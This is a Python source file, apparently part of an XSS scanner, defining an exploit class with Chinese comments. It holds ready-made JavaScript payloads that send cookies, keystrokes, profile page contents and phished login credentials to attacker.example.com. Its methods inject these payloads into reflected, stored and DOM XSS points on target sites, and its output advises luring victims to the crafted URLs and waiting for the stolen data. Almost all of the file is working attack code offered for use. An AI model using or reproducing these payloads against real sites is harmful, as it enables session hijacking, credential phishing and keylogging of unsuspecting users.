248 lines
9.0 KiB
Python
248 lines
9.0 KiB
Python
#!/usr/bin/env python
|
||
# -*- coding: utf-8 -*-
|
||
|
||
"""
|
||
XSS漏洞利用模块，负责利用发现的XSS漏洞
|
||
"""
|
||
|
||
import logging
|
||
import random
|
||
import string
|
||
import base64
|
||
from urllib.parse import urlencode, urlparse, parse_qsl
|
||
|
||
logger = logging.getLogger('xss_scanner')
|
||
|
||
class XSSExploit:
|
||
"""XSS漏洞利用类，负责利用XSS漏洞执行特定操作"""
|
||
|
||
def __init__(self, http_client):
|
||
"""
|
||
初始化XSS漏洞利用模块
|
||
|
||
Args:
|
||
http_client: HTTP客户端对象
|
||
"""
|
||
self.http_client = http_client
|
||
self.exploit_id = self._generate_random_string(8)
|
||
|
||
# 常用的XSS利用载荷
|
||
self.cookie_steal_payload = f"""<script>
|
||
new Image().src="http://attacker.example.com/steal.php?cookie="+encodeURIComponent(document.cookie)+"&location="+encodeURIComponent(window.location)+"&id={self.exploit_id}";
|
||
</script>"""
|
||
|
||
self.keylogger_payload = f"""<script>
|
||
document.addEventListener('keydown', function(e) {{
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open('GET', 'http://attacker.example.com/log.php?key='+e.key+'&id={self.exploit_id}', true);
|
||
xhr.send();
|
||
}});
|
||
</script>"""
|
||
|
||
self.session_hijack_payload = f"""<script>
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open('GET', '/profile', true);
|
||
xhr.onload = function() {{
|
||
var content = this.responseText;
|
||
var xhr2 = new XMLHttpRequest();
|
||
xhr2.open('GET', 'http://attacker.example.com/steal.php?data='+encodeURIComponent(content)+'&id={self.exploit_id}', true);
|
||
xhr2.send();
|
||
}};
|
||
xhr.send();
|
||
</script>"""
|
||
|
||
self.phishing_payload = f"""<div style="position:fixed;top:0;left:0;width:100%;height:100%;background-color:white;z-index:9999;">
|
||
<h2 style="text-align:center;margin-top:20px;">您的会话已过期</h2>
|
||
<p style="text-align:center;">请重新登录以继续</p>
|
||
<form style="width:300px;margin:0 auto;" onsubmit="sendCredentials(event)">
|
||
<p><input type="text" name="username" placeholder="用户名" style="width:100%;padding:10px;margin:10px 0;"></p>
|
||
<p><input type="password" name="password" placeholder="密码" style="width:100%;padding:10px;margin:10px 0;"></p>
|
||
<p><button type="submit" style="width:100%;padding:10px;background-color:#4CAF50;color:white;border:none;">登录</button></p>
|
||
</form>
|
||
<script>
|
||
function sendCredentials(e) {{
|
||
e.preventDefault();
|
||
var u = document.querySelector('input[name="username"]').value;
|
||
var p = document.querySelector('input[name="password"]').value;
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open('GET', 'http://attacker.example.com/phish.php?u='+encodeURIComponent(u)+'&p='+encodeURIComponent(p)+'&id={self.exploit_id}', true);
|
||
xhr.onload = function() {{
|
||
window.location = '/login';
|
||
}};
|
||
xhr.send();
|
||
}}
|
||
</script>
|
||
</div>"""
|
||
|
||
def exploit(self, vulnerability):
|
||
"""
|
||
利用XSS漏洞
|
||
|
||
Args:
|
||
vulnerability: 漏洞信息
|
||
|
||
Returns:
|
||
dict: 利用结果，如果利用失败则返回None
|
||
"""
|
||
if vulnerability['type'] != 'XSS':
|
||
logger.warning(f"漏洞类型不匹配，预期XSS，实际为{vulnerability['type']}")
|
||
return None
|
||
|
||
logger.info(f"尝试利用XSS漏洞: {vulnerability['url']}")
|
||
|
||
# 根据漏洞子类型选择不同的利用方式
|
||
if vulnerability['subtype'] == 'Reflected XSS':
|
||
return self._exploit_reflected_xss(vulnerability)
|
||
elif vulnerability['subtype'] == 'Stored XSS':
|
||
return self._exploit_stored_xss(vulnerability)
|
||
elif vulnerability['subtype'] == 'DOM XSS':
|
||
return self._exploit_dom_xss(vulnerability)
|
||
else:
|
||
logger.warning(f"未知的XSS漏洞子类型: {vulnerability['subtype']}")
|
||
return None
|
||
|
||
def _exploit_reflected_xss(self, vulnerability):
|
||
"""
|
||
利用反射型XSS漏洞
|
||
|
||
Args:
|
||
vulnerability: 漏洞信息
|
||
|
||
Returns:
|
||
dict: 利用结果，如果利用失败则返回None
|
||
"""
|
||
# 获取漏洞URL和参数
|
||
url = vulnerability['url']
|
||
parameter = vulnerability['parameter']
|
||
|
||
# 构建利用载荷
|
||
payloads = [
|
||
self.cookie_steal_payload,
|
||
self.keylogger_payload,
|
||
self.session_hijack_payload,
|
||
self.phishing_payload
|
||
]
|
||
|
||
# 随机选择一个载荷进行利用
|
||
payload = random.choice(payloads)
|
||
|
||
# 构建利用URL
|
||
parsed_url = urlparse(url)
|
||
query_params = dict(parse_qsl(parsed_url.query))
|
||
|
||
if parameter in query_params:
|
||
query_params[parameter] = payload
|
||
|
||
# 构建利用URL
|
||
exploit_url = f"{parsed_url.scheme}://{parsed_url.netloc}{parsed_url.path}?{urlencode(query_params)}"
|
||
|
||
logger.info(f"生成XSS利用URL: {exploit_url}")
|
||
|
||
return {
|
||
'type': 'XSS_EXPLOIT',
|
||
'exploit_type': '反射型XSS漏洞利用',
|
||
'url': exploit_url,
|
||
'payload': payload,
|
||
'description': f"反射型XSS漏洞利用成功，可以通过URL诱导用户访问触发XSS。",
|
||
'recommendation': "诱导用户访问该URL，然后等待回连数据。"
|
||
}
|
||
|
||
return None
|
||
|
||
def _exploit_stored_xss(self, vulnerability):
|
||
"""
|
||
利用存储型XSS漏洞
|
||
|
||
Args:
|
||
vulnerability: 漏洞信息
|
||
|
||
Returns:
|
||
dict: 利用结果，如果利用失败则返回None
|
||
"""
|
||
# 获取漏洞表单提交信息
|
||
url = vulnerability['url']
|
||
form_action = vulnerability.get('form_action', url)
|
||
form_method = vulnerability.get('form_method', 'POST')
|
||
parameter = vulnerability['parameter']
|
||
|
||
# 构建利用载荷
|
||
payload = self.cookie_steal_payload
|
||
|
||
# 构建表单数据
|
||
form_data = {
|
||
parameter: payload
|
||
}
|
||
|
||
logger.info(f"尝试提交存储型XSS利用载荷到: {form_action}")
|
||
|
||
# 提交表单
|
||
try:
|
||
if form_method.upper() == 'POST':
|
||
response = self.http_client.post(form_action, data=form_data)
|
||
else:
|
||
response = self.http_client.get(form_action, params=form_data)
|
||
|
||
if response and response.status_code < 400:
|
||
return {
|
||
'type': 'XSS_EXPLOIT',
|
||
'exploit_type': '存储型XSS漏洞利用',
|
||
'url': form_action,
|
||
'payload': payload,
|
||
'description': f"存储型XSS漏洞利用成功，XSS Payload已经注入到目标站点，将在用户访问时触发。",
|
||
'recommendation': "等待用户访问包含存储型XSS的页面，然后接收回连数据。"
|
||
}
|
||
except Exception as e:
|
||
logger.error(f"利用存储型XSS漏洞时发生错误: {str(e)}")
|
||
|
||
return None
|
||
|
||
def _exploit_dom_xss(self, vulnerability):
|
||
"""
|
||
利用DOM型XSS漏洞
|
||
|
||
Args:
|
||
vulnerability: 漏洞信息
|
||
|
||
Returns:
|
||
dict: 利用结果，如果利用失败则返回None
|
||
"""
|
||
# DOM型XSS通常涉及到URL片段（hash）或特定参数
|
||
url = vulnerability['url']
|
||
parameter = vulnerability.get('parameter', 'fragment')
|
||
|
||
# 构建利用载荷
|
||
payload = self.cookie_steal_payload
|
||
|
||
# 如果是URL片段，直接添加到URL末尾
|
||
if parameter == 'fragment':
|
||
exploit_url = f"{url}#{payload}"
|
||
else:
|
||
# 否则作为URL参数
|
||
parsed_url = urlparse(url)
|
||
query_params = dict(parse_qsl(parsed_url.query))
|
||
query_params[parameter] = payload
|
||
exploit_url = f"{parsed_url.scheme}://{parsed_url.netloc}{parsed_url.path}?{urlencode(query_params)}"
|
||
|
||
logger.info(f"生成DOM XSS利用URL: {exploit_url}")
|
||
|
||
return {
|
||
'type': 'XSS_EXPLOIT',
|
||
'exploit_type': 'DOM型XSS漏洞利用',
|
||
'url': exploit_url,
|
||
'payload': payload,
|
||
'description': f"DOM型XSS漏洞利用成功，可以通过URL触发客户端XSS。",
|
||
'recommendation': "诱导用户访问该URL，然后等待回连数据。"
|
||
}
|
||
|
||
def _generate_random_string(self, length=8):
|
||
"""
|
||
生成随机字符串
|
||
|
||
Args:
|
||
length: 字符串长度
|
||
|
||
Returns:
|
||
str: 随机字符串
|
||
"""
|
||
chars = string.ascii_letters + string.digits
|
||
return ''.join(random.choice(chars) for _ in range(length)) |